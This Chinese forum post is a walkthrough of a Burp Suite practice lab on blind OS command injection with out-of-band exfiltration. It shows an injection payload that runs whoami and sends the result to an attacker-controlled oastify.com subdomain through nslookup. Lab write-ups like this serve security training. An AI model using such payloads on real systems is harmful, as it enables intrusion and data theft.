发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场OS command injection(操作系统命令注入)漏洞5

CTF练习 800 0 2025-8-7 22:10:54

第五关 带外数据泄露的盲注操作系统命令注入

这一关就是操作系统命令注入的盲注+带外数据泄露结合,获取到用户名信息

提示:1、在反馈函数中包含一个盲作系统命令注入漏洞

2、应用程序执行包含用户提供的详细信息的 shell 命令。服务端命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是可以触发与外部域的带外交互

具体操作:

1、反馈内容随便写一下,然后提交,触发相关功能数据包(操作见第三关)

2、找到触发的数据包,发往repeater

先去burp Collaborator复制子域(操作见第三关)

然后把子域插入到操作系统命令注入的盲注的语句中:

||nslookup+`whoami`.266gu9jotiz6okq3v4c5zyiscjia63us.oastify.com||
​

然后我们回到burp,查看有回显没,带外信息泄露

用户名:peter-68cQT3

3、回到页面输入用户名

4、如图输入用户名后,靶场过关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回